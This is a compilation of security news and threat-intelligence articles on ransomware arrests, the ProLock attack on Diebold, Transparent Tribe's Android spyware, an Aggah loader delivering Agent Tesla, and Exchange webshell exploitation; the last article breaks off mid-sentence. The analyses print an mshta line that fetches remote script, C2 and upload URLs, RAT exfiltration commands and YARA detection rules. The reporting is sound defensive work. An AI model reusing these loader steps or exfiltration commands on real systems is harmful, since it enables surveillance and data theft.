# Core DoppelPaymer Ransomware Gang Members Targeted in Europol Operation Europol has announced that law enforcement in Germany and Ukraine targeted two individuals believed to be core members of the DoppelPaymer ransomware group. The operation consisted of raiding multiple locations in the two countries in February and was the result of a coordinated effort that also involved Europol, the FBI, and the Dutch Police. ## Two Suspects Detained "German officers raided the house of a German national, who is believed to have played a major role in the DoppelPaymer ransomware group," Europol informs in a press release published today. The agency notes that "despite the current extremely difficult security situation that Ukraine" due to the Russian invasion, police officers in the country "interrogated a Ukrainian national who is also believed to be a member of the core DoppelPaymer group." German officers raided one location - the house of the German national believed to have had a "major role in the DoppelPaymer ransomware group." In Ukraine, the police searched two locations - in Kiev and Kharkiv. Electronic equipment has been seized, and investigators and IT experts are examining it for forensic evidence. Three experts from Europol have also been deployed to Germany to cross-check operational information with information from Europol's databases and to help with analysis, crypto tracing, and forensic work. "The analysis of this data and other related cases is expected to trigger further investigative activities," Europol says. This work may reveal other members of the ransomware group as well as affiliates that deployed the malware and ransomed victims across the world. Both the investigation and the legal procedures are ongoing at the moment. ## Three More DoppelPaymer Suspects Wanted German authorities believe that the DoppelPaymer ransomware operation involved five core members that maintained the attack infrastructure, the data leak sites, handled negotiations, and deployed the malware on breached networks. Arrest warrants have been issued for another three suspects that law enforcement are currently looking for worldwide: - **Igor Garshin/Garschin** - believed to be responsible for reconnaissance, breaching, and deploying the DoppelPaymer locker on victim networks. - **Igor Olegovich Turashev** - believed to have had a major part in attacks against German companies, acting as the admin of the infrastructure and malware used for intrusions. - **Irina Zemlianikina** - responsible for the initial stage of the attack, sending out malicious emails; she was also handling the data leak sites, the chat system, and publishing the data stolen from the victims. According to the German police, the five suspects are the "masterminds" of the DoppelPaymer ransomware gang and are connected to Russia. ## DoppelPaymer Ransomware The DoppelPaymer ransomware operation emerged in 2019 targeting critical infrastructure organizations and large companies. In 2020, the threat actor started to steal data from the victim networks and adopted the double extortion method by threatening to publish the stolen files on a leak site on the Tor network. Europol estimates that between May 2019 and March 2021, victims based in the United States alone paid DoppelPaymer at least $42.4 million. The German authorities have also confirmed 37 cases where companies were targeted by the ransomware gang. The DoppelPaymer malware is based on the BitPaymer ransomware. The file-encrypting threat was delivered through Dridex malware, which was pushed by the infamous Emotet botnet. The infection vector was spear-phishing emails containing documents with malicious VBS or JavaScript code. The threat actor also used a legitimate tool, Process Hacker, to terminate security-related products running on the victim systems. Although the operation rebranded as "Grief" (Pay or Grief) in July 2021 in an attempt to escape law enforcement, attacks became more sparse. ## DoppelPaymer Attack Rate Drops Among DoppelPaymer's high-profile victims are Kia Motors America, the Delaware County in Pennsylvania (paid a $500,000 ransom), laptop maker Compal, Newcastle University (files leaked), electronics giant Foxconn, and the Dutch Research Council (NWO). To force victims into paying the ransom, the operators of the DoppelPaymer ransomware threatened to wipe the decryption keys if victims contracted professional negotiators to obtain a better price for recovering the locked data. However, the attack frequency decreased to the point that the gang no longer maintains the leak site. **UPDATE [March 6, 11:10 AM EST]:** Article updated with new information about three more suspects sought by law enforcement for their major role in the DoppelPaymer ransomware operation.
# Ransomware Hit ATM Giant Diebold Nixdorf Diebold Nixdorf, a major provider of automatic teller machines (ATMs) and payment technology to banks and retailers, recently suffered a ransomware attack that disrupted some operations. The company says the hackers never touched its ATMs or customer networks, and that the intrusion only affected its corporate network. Canton, Ohio-based Diebold [NYSE: DBD] is currently the largest ATM provider in the United States, with an estimated 35 percent of the cash machine market worldwide. The 35,000-employee company also produces point-of-sale systems and software used by many retailers. According to Diebold, on the evening of Saturday, April 25, the company’s security team discovered anomalous behavior on its corporate network. Suspecting a ransomware attack, Diebold said it immediately began disconnecting systems on that network to contain the spread of the malware. Sources told KrebsOnSecurity that Diebold’s response affected services for over 100 of the company’s customers. Diebold said the company’s response to the attack did disrupt a system that automates field service technician requests, but that the incident did not affect customer networks or the general public. “Diebold has determined that the spread of the malware has been contained,” Diebold said in a written statement provided to KrebsOnSecurity. “The incident did not affect ATMs, customer networks, or the general public, and its impact was not material to our business. Unfortunately, cybercrime is an ongoing challenge for all companies. Diebold Nixdorf takes the security of our systems and customer service very seriously. Our leadership has connected personally with customers to make them aware of the situation and how we addressed it.” ## NOT SO PRO LOCK An investigation determined that the intruders installed the ProLock ransomware, which experts say is a relatively uncommon ransomware strain that has gone through multiple names and iterations over the past few months. For example, until recently ProLock was better known as “PwndLocker,” which is the name of the ransomware that infected servers at Lasalle County, Ill. in March. But the miscreants behind PwndLocker rebranded their malware after security experts at Emsisoft released a tool that let PwndLocker victims decrypt their files without paying the ransom. Diebold claims it did not pay the ransom demanded by the attackers, although the company wouldn’t discuss the amount requested. But Lawrence Abrams of BleepingComputer said the ransom demanded for ProLock victims typically ranges in the six figures, from $175,000 to more than $660,000 depending on the size of the victim network. Fabian Wosar, Emsisoft’s chief technology officer, said if Diebold’s claims about not paying their assailants are true, it’s probably for the best: That’s because current versions of ProLock’s decryptor tool will corrupt larger files such as database files. As luck would have it, Emsisoft does offer a tool that fixes the decryptor so that it properly recovers files held hostage by ProLock, but it only works for victims who have already paid a ransom to the crooks behind ProLock. “We do have a tool that fixes a bug in the decryptor, but it doesn’t work unless you have the decryption keys from the ransomware authors,” Wosar said. ## WEEKEND WARRIORS BleepingComputer’s Abrams said the timing of the attack on Diebold — Saturday evening — is quite common, and that ransomware purveyors tend to wait until the weekends to launch their attacks because that is typically when most organizations have the fewest number of technical staff on hand. Incidentally, weekends also are the time when the vast majority of ATM skimming attacks take place — for the same reason. “After hours on Friday and Saturday nights are big, because they want to pull the trigger [on the ransomware] when no one is around,” Abrams said. Many ransomware gangs have taken to stealing sensitive data from victims before launching the ransomware, as a sort of virtual cudgel to use against victims who don’t immediately acquiesce to a ransom demand. Armed with the victim’s data — or data about the victim company’s partners or customers — the attackers can then threaten to publish or sell the information if victims refuse to pay up. Indeed, some of the larger ransomware groups are doing just that, constantly updating blogs on the Internet and the dark Web that publish the names and data stolen from victims who decline to pay. So far, the crooks behind ProLock haven’t launched their own blog. But Abrams said the crime group behind it has indicated it is at least heading in that direction, noting that in his communications with the group in the wake of the Lasalle County attack they sent him an image and a list of folders suggesting they’d accessed sensitive data for that victim. “I’ve been saying this ever since last year when the Maze ransomware group started publishing the names and data from their victims: Every ransomware attack has to be treated as a data breach now,” Abrams said.
# Transparent Tribe: Evolution Analysis, Part 2 **Authors** Giampaolo Dedola ## Background + Key Findings Transparent Tribe, also known as PROJECTM or MYTHIC LEOPARD, is a highly prolific group whose activities can be traced as far back as 2013. In the last four years, this APT group has never taken time off. They continue to hit their targets, which typically are Indian military and government personnel. This is the second of two articles written to share the results of our recent investigations into Transparent Tribe. In the previous article, we described the various Crimson RAT components and provided an overview of impacted users. Here are some of the key insights that will be described in this part: - We found a new Android implant used by Transparent Tribe for spying on mobile devices. It was distributed in India disguised as a porn-related app and a fake national COVID-19 tracking app. - New evidence confirms a link between ObliqueRAT and Transparent Tribe. ## Android Implant During our analysis, we found an interesting sample, which follows a variant of the previously described attack scheme. Specifically, the attack starts with a simple document, which is not malicious by itself, does not contain any macro and does not try to download other malicious components, but it uses social engineering tricks to lure the victim into downloading other documents from the following external URLs: - hxxp://sharingmymedia[.]com/files/Criteria-of-Army-Officers.doc - hxxp://sharingmymedia[.]com/files/7All-Selected-list.xls - 15DA10765B7BECFCCA3325A91D90DB37 – Special Benefits.docx The remote files are two Microsoft Office documents with an embedded malicious VBA, which behaves similarly to those described in the previous article and drops the Crimson “Thin Client”. The domain sharingmymedia[.]com was even more interesting: it was resolved with the IP 89.45.67[.]160 and was registered on 2020-01-10 using Namesilo and the following information: - **Registrant Name:** bluff hunnter - **Registrant Street:** India Dehli - **Registrant City:** Dehli - **Registrant State/Province:** Delhi - **Registrant Postal Code:** 110001 - **Registrant Country:** IN - **Registrant Phone:** +91.4214521212 - **Registrant Email:** hunterbluff007@gmail.com The same information was used to register another domain, sharemydrives[.]com, which was registered seven days before, on 2020-01-03, using Namesilo. DNS resolution points to the same IP address: 89.45.67[.]160. Using our Kaspersky Threat Intelligence Portal, we found the following related URL: The file is a modified version of MxVideoPlayer, a simple open-source video player for Android, downloadable from GitHub and used by Transparent Tribe to drop and execute their Android RAT. The dropper tries to find a list of legitimate packages on the system: - imo.android.imoim - snapchat.android - viber.voip - facebook.lite If the device was produced by Xiaomi, it also checks if the com.truecaller package is present. The first application on the list that is not installed on the system will be selected as the target application. The malware embeds multiple APK files, which are stored in a directory named “assets”. The analyzed sample includes the following packages: - apk a20fc273a49c3b882845ac8d6cc5beac - apk 53cd72147b0ef6bf6e64d266bf3ccafe - apk bae69f2ce9f002a11238dcf29101c14f - apk b8006e986453a6f25fd94db6b7114ac2 - apk 4556ccecbf24b2e3e07d3856f42c7072 - apk 6c3308cd8a060327d841626a677a0549 The selected APK is copied to /.System/APK/. By default, the application tries to save the file to external storage; otherwise, it saves it to the data directory. Finally, the application tries to install the copied APK. The final malware is a modified version of the AhMyth Android RAT, open-source malware downloadable from GitHub, which is built by binding the malicious payload inside other legitimate applications. The original AhMyth RAT includes support for the following commands: | Commands | Additional fields | Value | Description | |----------|-------------------|-------|-------------| | x0000ca | extra | camlist | get a camera list | | | extra | 1 | get a photo from the camera with the id 1 | | | extra | 0 | get a photo from the camera with the id 0 | | x0000fm | extra | ls | get a list of files in the directory specified in the path variable. | | | extra | dl | upload the specified file to the C2 path | | x0000sm | extra | ls | get a list of text messages | | | extra | sendSMS | send a new text to another number | | | to | %number% | | | | sms | %message% | | | x0000cl | | | get the call log | | x0000cn | | | get contacts | | x0000mc | sec | %seconds% | record audio from the microphone for the specified number of seconds and upload the resulting file to the C2. | | x0000lm | | | get the device location | Basically, it provides the following features: - camera manager (list devices and steal screenshots) - file manager (enumerate files and upload these to the C2) - SMS manager (get a list of text messages or send a text) - get the call log - get the contact list - microphone manager - location manager (track the device location) The RAT that we analyzed is slightly different from the original. It includes new features added by the attackers to improve data exfiltration, whereas some of the core features, such as the ability to steal pictures from the camera, are missing. The operators added the following commands: | Commands | Additional fields | Value | Description | |----------|-------------------|-------|-------------| | x000upd | path | %url% | download a new APK from the URL specified in the “path” field | | x000adm | | | autodownloader: not implemented in the version we analyzed, but available in other samples. | | x0000mc | extra | au | record audio for x seconds and upload the resulting file to the C2. Duration is specified in the “sec” value. | | | extra | mu | stop recording and upload the resulting file to the C2 | | | extra | muS | start recording continuously. This generates MP3 files stored in the “/.System/Records/” directory. | | x0000fm | extra | ls | get a list of files in the directory specified in the path variable | | | extra | dl | upload the specified file to hxxp://212.8.240[.]221:80/server/upload.php | | sms | extra | ls | get a list of text messages | | | extra | sendSMS | Send a new text to another number. | | | to | %number% | | | | sms | %message% | | | | extra | deleteSMS | Delete a text that contains the string specified in the “sms” value. The “to” value is ignored. | | x0000cl | | | get the call log | | x0000cn | | | get contacts | | x0000lm | | | get the device location | The “autodownloader” is a method used for performing the following actions: - upload a contact list - upload a text message list - upload files stored in the following directories: - /.System/Records/ - /Download/ - /DCIM/Camera/ - /Documents/ - /WhatsApp/Media/WhatsApp Images/ - /WhatsApp/Media/WhatsApp Documents/ The attacker uses the method to collect contacts and text messages automatically. In addition, the method collects the following: audio files created with the “x0000mc” command and stored in /.System/Records/, downloaded files, photos, images and documents shared via WhatsApp and other documents stored on the device. Another interesting difference between the original AhMyth and the one modified by Transparent Tribe is the technique used for getting the C2 address. The original version stores the C2 server as a string directly embedded in the code, whereas the modified version uses a different approach. It embeds another URL encoded with Base64 and used for getting a configuration file, which contains the real C2 address. In our sample, the URL was as follows: hxxp://tryanotherhorse[.]com/config.txt It provided the following content: 212.8.240.221:5987 http://www.tryanotherhorse.com The first value is the real C2, which seems to be a server hosted in the Netherlands. The modified version communicates via a different URL scheme, which includes more information: - Original URL scheme: http://%server%:%port?model=%val%&manf=%val%&release=%val%&id=%val% - Modified URL scheme: http://%server%:%port?mac=%val%&battery=%val%&model=%val%&manf=%val%&release=%val%&id=%val% ## COVID-19 Tracking App We found evidence of Transparent Tribe taking advantage of pandemic-tracking applications to distribute trojanized code. Specifically, we found an APK file imitating Aarogya Setu, a COVID-19 tracking mobile application developed by the National Informatics Centre under the Ministry of Electronics and Information Technology, Government of India. It allows users to connect to essential health services in India. The discovered application tries to connect to the same malicious URL to get the C2 IP address: hxxp://tryanotherhorse[.]com/config.txt It uses the same URL scheme described earlier and it embeds the following APK packages: - apk CF71BA878434605A3506203829C63B9D - apk 627AA2F8A8FC2787B783E64C8C57B0ED - apk 62FAD3AC69DB0E8E541EFA2F479618CE - apk A912E5967261656457FD076986BB327C - apk 3EB36A9853C9C68524DBE8C44734EC35 - apk 931435CB8A5B2542F8E5F29FD369E010 Interestingly enough, at the end of April, the Indian Army issued a warning to its personnel against Pakistani agencies’ nefarious designs to hack the phones of Indian military personnel through a malicious application similar to Aarogya Setu. According to some Indian online news sites, these applications were found to be sent by Pakistani Intelligence Operatives to WhatsApp groups of Indian Army personnel. It also mentioned that these applications later deployed additional packages: - face.apk - imo.apk - normal.apk - trueC.apk - snap.apk - viber.apk Based on public information, the application may have been distributed by sending a malicious link via WhatsApp, SMS, phishing email or social media. ## ObliqueRAT Connection ObliqueRAT is another malicious program, described by Cisco Talos in an interesting article published in February. It was attributed to Transparent Tribe because some samples were distributed through malicious documents forged with macros that resembled those used for distributing Crimson RAT. The report described two ObliqueRAT variants, one distributed via a malicious document as the infection vector and another one, named “Variant #0” and distributed with a dropper. Unfortunately, as reported by Talos, “The initial distribution vector of this dropper is currently unknown”. At this time, we do not have the full infection chain, but we can add another piece to the puzzle, because sharemydrives[.]com also hosted another file: The wifeexchange.exe sample is another dropper, which disguises itself as a porn clip. Specifically, the executable file uses the same icon used by Windows for multimedia files. Once executed, the process tries to find a specific marker (“*#@”) inside its file image, then drops and opens the following files: - frame.exe – 4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6 - movie.mp4 Frame.exe is the dropper described by Talos, while movie.mp4 is a small porn clip. ## Conclusions Transparent Tribe members are trying to add new tools to extend their operations and infect mobile devices. They are also developing new custom .NET tools like ObliqueRAT, and as observed in the first report, we do not expect this group to slow down any time soon. We will keep monitoring their activities. ## IoC The following IoC list is not complete. If you want more information about the APT discussed here, a full IoC list and YARA rules are available to customers of Kaspersky Threat Intelligence Reports. Contact: intelreports@kaspersky.com - 15DA10765B7BECFCCA3325A91D90DB37 – Special Benefits.docx - 48476DA4403243B342A166D8A6BE7A3F – 7All_Selected_list.xls - B3F8EEE133AE385D9C7655AAE033CA3E – Criteria of Army Officers.doc - D7D6889BFA96724F7B3F951BC06E8C02 – wifeexchange.exe - 0294F46D0E8CB5377F97B49EA3593C25 – Android Dropper – Desi-porn.apk - 5F563A38E3B98A7BC6C65555D0AD5CFD – Android Dropper – Aarogya Setu.apk - A20FC273A49C3B882845AC8D6CC5BEAC – Android RAT – face.apk - 53CD72147B0EF6BF6E64D266BF3CCAFE – Android RAT – imo.apk - BAE69F2CE9F002A11238DCF29101C14F – Android RAT – normal.apk - B8006E986453A6F25FD94DB6B7114AC2 – Android RAT – snap.apk - 4556CCECBF24B2E3E07D3856F42C7072 – Android RAT – trueC.apk - 6C3308CD8A060327D841626A677A0549 – Android RAT – viber.apk - CF71BA878434605A3506203829C63B9D – Android RAT – face.apk - 627AA2F8A8FC2787B783E64C8C57B0ED – Android RAT – imo.apk - 62FAD3AC69DB0E8E541EFA2F479618CE – Android RAT – normal.apk - A912E5967261656457FD076986BB327C – Android RAT – snap.apk - 3EB36A9853C9C68524DBE8C44734EC35 – Android RAT – trueC.apk - 931435CB8A5B2542F8E5F29FD369E010 – Android RAT – viber.apk - hxxp://sharingmymedia[.]com/files/Criteria-of-Army-Officers.doc - hxxp://sharingmymedia[.]com/files/7All-Selected-list.xls - hxxp://sharemydrives[.]com/files/Laptop/wifeexchange.exe - hxxp://sharemydrives[.]com/files/Mobile/Desi-Porn.apk - hxxp://tryanotherhorse[.]com/config.txt – APK URL - 212.8.240[.]221:5987 – Android RAT C2 - hxxp://212.8.240[.]221:80/server/upload.php – URL used by Android RAT to upload files
# Agent TeslAggah In May of 2020, Deep Instinct reported on a new variant of the malware loader called “Aggah,” a fileless loader that takes advantage of LOLBINS and free services such as Bitly, Blogger, etc. Heading into the second December of the Covid-19 pandemic, Aggah has continued the trend of using Covid-19 as a lure for malspam. The group behind “Aggah” is known for using the malware loader to deliver RATs such as Agent Tesla, NanoCore, njRAT, Revenge, and Warzone. Initially, Palo Alto believed activity from “Aggah” was related to the Gorgon Group, but Palo’s Unit 42 has been unable to identify direct overlaps in activity/indicators. On November 30, 2021, a new campaign was identified utilizing the Aggah loader to deliver Agent Tesla. The chain of activity closely resembles previous Aggah activity, with some minor changes. Below is a summary of the observed activity. ## Stage 1: PPA with VBA Macros **Filename:** 새 구매 주문서 .ppa **MD5:** 9b61bc8931f7314fefebfd4da8dba2cc **SHA1:** a7ee21728f146b41c04b54be8a6cdbf6cc39f90f **SHA256:** aa121762eb34d32c7d831d7abcec34f5a4241af9e669e5cc43a49a071bd6e894 Prior Aggah campaigns abused Microsoft Office Documents containing VBA macros and this round remains the same. This Covid-19 themed .ppa file contained a very small VBA Macro that ran on Auto_Open and executed a simple mshta call. This execution method remains consistent, but the macro is crafted in a slightly different way. ## Stage 2: HTML File Containing WScript **Filename:** gdhamksgdsadj.html | divine111.html **MD5:** e2370c77c35232bae8eca686d3c1126e **SHA1:** 20d096705b1b09d8f7d7af6c09ed61a8e8e714e2 **SHA256:** 8d74ac866d8972e6725ffb573dbeec57d248bf5da5f4a555e1bd1d68cff12caa Stage 1 of the Aggah dropper executes mshta hxxp://bitly[.]com/gdhamksgdsadj. The bit.ly URL redirects to hxxps://onedayiwillloveyouforever[.]blogspot[.]com/p/divine111.html, a mostly blank Blogspot page that contains some malicious VBScript. The VBScript stashed in the HTML document performs the following: - Downloads an additional payload from the following BitBucket URL: hxxps://bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2 - Reverses and base64 decodes the payload from the above URL - Creates a scheduled task to download and execute a payload hosted at the following BlogSpot URL (Note: This payload contains the same VBS payload as in divine111.html): hxxps://madarbloghogya[.]blogspot[.]com/p/divineback222.[]html While the VBScript obfuscation is relatively light, one interesting thing to note is the usage of CLSIDs when creating new objects. Directly referencing CLSIDs during object creation is fairly uncommon and could be useful for creating a Yara rule. ```vbscript set MicrosoftWINdows = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B") Set Somosa = GetObject("new:13709620-C279-11CE-A49E-444553540000") ``` ## Stage 3: Obfuscated VBScript Containing Encoded PE File **Filename:** divine1-2 **MD5:** ace852b1489826d80ea0b3fc1e1a3ccd **SHA1:** 1391fe80309f38addb1fc011eb8d3fefecf4ac73 **SHA256:** c4f374f18ed5aba573b6883981a8074b86b79c2bdc314af234e98bed69623686 The final stage of Aggah is built around deobfuscating and executing the final payload, which is embedded in the document: Agent Tesla (for this campaign, at least). According to the comment at the top of the VBScript, this stage of Aggah was updated 11/18/2021. The VBScript in this stage deobfuscates the embedded Agent Tesla payload, adds it to startup, and executes the payload. There are three main functions that handle deobfuscation. Once the replacements and substitutions are made, we see an old friend reappear. After a simple base64 decode, we’re left with our payload: Agent Tesla. ## Stage 4: Agent Tesla **Filename:** MVuVmuzKeduVVeroJXAhxJFg.exe **MD5:** d6373ce833327ecb3afeb81b62729ec9 **SHA1:** a80137dc1ffe68fa1527bab0933471f28b9c29df **SHA256:** 3bb3440898b6e2b0859d6ff66f760daaa874e1a25b029c0464944b5fc2f5a903 Agent Tesla is a .NET based keylogger and RAT readily available to actors and is one of the RATs preferred by Aggah. It logs keystrokes, the host’s clipboard, and steals various credentials and beacons this information back to the C2. This particular sample was surprisingly not packed, which is relatively uncommon. Agent Tesla is known to steal a wide variety of stored/cached credentials. The strings containing the targeted applications are typically encoded/encrypted, but are typically easily extracted in a debugger. The sections below walk through extracting the strings/configuration of this Agent Tesla sample and contain a Yara rule for detection. ### String/Configuration Extraction While the Agent Tesla payload delivered in this campaign was not packed, the configuration as well as the strings related to information stealing are hidden. The Agent Tesla sample uses the following function to decode these strings during runtime to make static detection more difficult. The decode function consists of an incremental xor as well as a static xor by key 0xAA (170). While this decode function could be easily implemented with Python or any language of choice, dnSpy was used as it aided in creating the Yara rule in the next step. In order to debug properly, the Agent Tesla sample must first be run through de4dot to clean up variable names. Once the sample has been cleaned, a watch can be set on the byte array `byte_0` and the contents can be saved once the decode loop has completed. Once a watch for the byte array `byte_0` is set, the decode loop is allowed to complete and decode the configuration and strings. The decoded content in `byte_0` can then be saved to a file. ### Agent Tesla Yara Rule While this Agent Tesla sample did not contain a great number of strings that would allow creation of an effective Yara rule, one could certainly be created. However, targeting the strings alone will likely not result in a robust Yara rule. A better approach might be to target the decode loop covered in the previous section. This blog post will not cover in-depth writing rules based on IL, however, Stephan Simon of Binary Defense put out a great blog post that covers this topic very well. dnSpy provides an option for decompilation to IL. After selecting IL as the decompilation language, the decode loop can be seen in IL form. The Yara rule below breaks down each IL instruction and relates it to the corresponding portion of the decode loop. ```yara rule Classification_Agent_Tesla { meta: author = "muzi" date = "2021-12-02" description = "Detects Agent Tesla delivered by Aggah Campaign in November 2021." hash = "3bb3440898b6e2b0859d6ff66f760daaa874e1a25b029c0464944b5fc2f5a903" strings: $string_decryption = { 91 // byte array[i] (06|07|08|09) // push local var 61 // xor array[i] ^ 0xAA (const xor key) 20 [4] // push const xor key (170 or 0xAA in example) 61 // xor array[i] ^ i D2 // convert to unsigned int8 and push int32 to stack 9C // Replace array element at index with int8 value on stack (06|07|08|09) // push local var 17 // push 1 58 // add i +=1 (0A|0B|0C|0D) // pop value from stack into local var (06|07|08|09) // push local var 7E [4] // push value of static field on stack (byte array) 8E // push length of array onto stack 69 // convert to int32 FE (04|05) // conditional if i >= len(bytearray) } condition: all of them } rule WScript_CLSID_Object_Creation { meta: author = "muzi" date = "2021-12-02" description = "Detects various CLSIDs used to create objects rather than their object name." hash = "9b36b76445f76b411983d5fb8e64716226f62d284c673599d8c54decdc80c712" strings: $clsid_windows_script_host_shell_object = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" ascii wide nocase $clsid_shell = "13709620-C279-11CE-A49E-444553540000" ascii wide nocase $clsid_mmc = "49B2791A-B1AE-4C90-9B8E-E860BA07F889" ascii wide nocase $clsid_windows_script_host_shell_object_2 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" ascii wide nocase $clsid_filesystem_object = "0D43FE01-F093-11CF-8940-00A0C9054228" ascii wide nocase condition: any of them } ```
# Rapid Response: Mass Exploitation of On-Prem Exchange Servers **UPDATED 14 April:** Huntress is aware of the new Microsoft Exchange vulnerabilities disclosed in the Microsoft April Security Update. Our team has yet to detect exploits targeting these new vulnerabilities on any hosts running the Huntress agent but will continue to closely monitor for these threats. These vulnerabilities are all branded as "critical" in severity and again offer remote code execution to an attacker. Considering the strong focus on Exchange by a large number of threat actors, it is absolutely imperative that organizations patch as quickly as they can. We recommend you update to the latest security patch, monitor for new indicators of compromise, and stay up-to-date on new information as it releases. We will continue to update this post with new findings. **UPDATED 05 March @ 1347pm ET:** Added instructions on verifying patch status and new IOCs. **UPDATED 05 March @ 1904pm ET:** Added PowerShell syntax to verify patch status. **UPDATED 06 March @ 0004am ET:** Added official Microsoft NSE script and new post-exploitation. **UPDATED 06 March @ 0317am ET:** Added analysis leading to "stage 6": Cobalt Strike & Mimikatz. On March 1, our team was notified about undisclosed Microsoft Exchange vulnerabilities successfully exploiting on-prem servers. After the tip from one of our MSP partners, we confirmed the activity and Microsoft has since released an initial blog and emergency patches for the vulnerabilities. The purpose of this blog post is to spread the word that this is being actively exploited in the wild. At the moment, we’ve discovered 350+ webshells across roughly 2,000-3,000 vulnerable servers (majority have AV/EDR installed) and we expect this number to keep rising. **UPDATE 05 March 1347pm ET:** Currently, we have visibility on roughly 3,000 Exchange servers. We see ~800 remain unpatched without the hotfix for an up-to-date CU version number. We will continue to update this blog with our observations and IOCs to drive awareness. ## What’s Happening? According to Microsoft’s initial blog, they detected multiple zero-day exploits being used to plunder on-premises versions of Microsoft Exchange Server in what they claim are “limited and targeted attacks.” They also highlight that threat actor "HAFNIUM" primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. This seems to be much larger than just "limited and targeted attacks" as Microsoft has suggested. From our research, we've checked over 2,000-3,000 Exchange servers and see ~800 remain unpatched, identifying over 300 of our partners’ servers that have received webshell payloads. These companies do not perfectly align with Microsoft's guidance as some personas are small hotels, an ice cream company, a kitchen appliance manufacturer, multiple senior citizen communities, and other "less than sexy" mid-market businesses. We’ve also witnessed many city and county government victims, healthcare providers, banks/financial institutions, and several residential electricity providers. Among the vulnerable servers, we also found over 350 webshells—some targets may have more than one webshell, potentially indicating automated deployment or multiple uncoordinated actors. These endpoints do have antivirus or EDR solutions installed, but this has seemingly slipped past a majority of preventative security products. And with insight from the community, we’ve seen honeypots attacked—making it clear that threat actors are just scanning the internet looking for low-hanging fruit. These attacks are grave due to the fact that every organization simply has to have email, and Microsoft Exchange is so widely used. These servers are typically publicly accessible on the open internet and can be exploited remotely. These vulnerabilities can be leveraged to gain remote code execution and fully compromise the target. From there, the attackers have a foothold in the network and can expand their access and do much more damage. ## What Should MSPs Do? If you use on-prem Microsoft Exchange Servers, you might want to assume you’ve been hit. We recommend you not only patch immediately but externally validate the patch and hunt for the presence of these webshells and other indicators of compromise. Trusting the dashboard is simply not enough. Thus far, it looks like all preventive products allowed the webshell to get dropped. **UPDATE 05 March 1347pm ET:** External validation of the patch via a community Nmap script does not validate via the full version and is no longer advised. The version information included in Exchange server Registry Keys also does not seem to match the full version of the active installation if it is updated. The single source of truth we have determined is the exact version number for the running Exchange service. To check your own patch status, we recommend you view the version number of the Microsoft.Exchange.RpcClientAccess.Service.exe binary present in the installation path of your Exchange server. You can view this by right-clicking the file in Explorer, selecting Properties, and switching to the Details tab. While the default installation path for Exchange is `C:\Program Files\Microsoft\Exchange Server\V15\bin`, if you have a custom installation path that you are unaware of, you can examine this registry key to find the current path for versions of Exchange 2013 or greater: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup\MsiInstallPath` Exchange versions 2010 and below are end-of-life and should not be used in production. Verify that the full version of this Microsoft.Exchange.RpcClientAccess.Service.exe file and its SHA256 hash is present in the chart below. This information comes from the official Microsoft Knowledge Base documentation per each version of Exchange and respective CU. | Exchange Version | Hash of MSExchangeRPC Service Binary | Version | MS Patch | |------------------|--------------------------------------|---------|----------| | Exchange 2013 CU23 | 17a077eab538ca80155e6667735a1bc86510b08656e79fd6e931687b573042ca | 15.0.1497.12 | KB5000871 | | Exchange 2016 CU18 | 92d17848f4c0fd4d7ab99842f8058ed9925179611b8b4ad2084fabb1a39badc1 | 15.1.2106.13 | KB5000871 | | Exchange 2016 CU19 | 18f85477f7edad2ca5686a1bc362c3ebed0ef37ba993ca61fc1fcc3249799cf2 | 15.1.2176.9 | KB5000871 | | Exchange 2019 CU7 | af9fdab713ca9223719448f81cfba9018563ebef2b61e09e4e2ceb13efa6ef49 | 15.2.721.13 | KB5000871 | | Exchange 2019 CU8 | 4c77d11aeaf590e6316125d8cd8217b69334aa62956097628d09b46b93203c0e | 15.2.792.10 | KB5000871 | The full value of the version number must match. Note: we do need to be forthcoming in that this approach is only checking the version of one file, the RPC Client Access Service, that our analysis has indicated does in fact update on fully patched hosts. This does not truly say the patch was 100% applied correctly, but does indicate at a minimum partial installation. It is likely if this version is correct and the server is functional, the patch was applied properly. This process is not automated by Huntress. The Huntress agent alone is not a vulnerability scanning tool and cannot determine 100% patch status. We strongly encourage you to perform this check personally and continue to monitor the health of your Exchange servers by utilities published by Microsoft or vetted scripts contributed by the threat intelligence community. **UPDATE 05 March @ 1904pm ET:** If you consider yourself a command-line cowboy and would prefer to check the status of the patch via PowerShell, you can use this one-liner syntax. Simply copy-and-paste and slap it into your shell. Credit to Cyberdrain.com / Kelvin Tegelaar for the base syntax. ```powershell $SafeVersions = "15.2.792.10","15.2.721.13","15.1.2176.9","15.1.2106.13","15.0.1497.12","14.3.513.0"|Foreach-Object {[version]$_}; $Version = [System.Diagnostics.FileVersionInfo]::GetVersionInfo("$($ENV:ExchangeInstallPath)\bin\Exsetup.exe").FileVersion; if ($SafeVersions -notcontains $Version){ Write-Host -ForegroundColor Red "[!] Patch not installed successfully, this server must be patched." } else { Write-Host -ForegroundColor Green "[+] Exchange FileVersion is updated, the patch is in place." } ``` ## Huntress Is Here to Help **UPDATE 05 March 1347pm ET:** We are automatically detecting the presence of malicious webshells and active exploitation and will send a critical report if/when those are discovered. These reports will not automatically close out and will remain after you have completed patching. To close the incident report please email support@huntress.com and we will manually close the report. Huntress is staying engaged with the threat intelligence and notifying as many individuals as possible as quickly as possible. Not only are we committed to educating you on how these vulnerabilities are being exploited, we’re also using our own platform to help us identify as many infected hosts as we can. We have had to get creative to help join the fight here. This is not something that “Huntress would normally find,” because these indicators of compromise are not persistence mechanisms. At the very start of this incident, practically all preventative security measures let this slip by—however now that the news broke, many are adding this capability into their detections. Our engineering team has worked overnight to create code to generate incident reports for all of the agents where we've detected infections. As of March 3rd, all of these incident reports have been sent to every organization that we were aware had an infected host. These reports also included Assisted Remediation playbooks that will remove the “China Chopper” ASPX webshells that we discovered. Since this is an active exploit, we’ve added Monitored Files that will look for both existing and new webshells that are being dropped. We are communicating with partners in full transparency that this is additional support we offer to be the best stewards of security. We have visibility on thousands of servers and have uncovered multiple new indicators of compromise, and we understand the magnitude of this incident. Despite this initially being blanketed with the description of “limited and targeted” in scope, we cannot shrug this off—and we cannot allow our partners to do so either. ## Technical Details The vulnerabilities affect 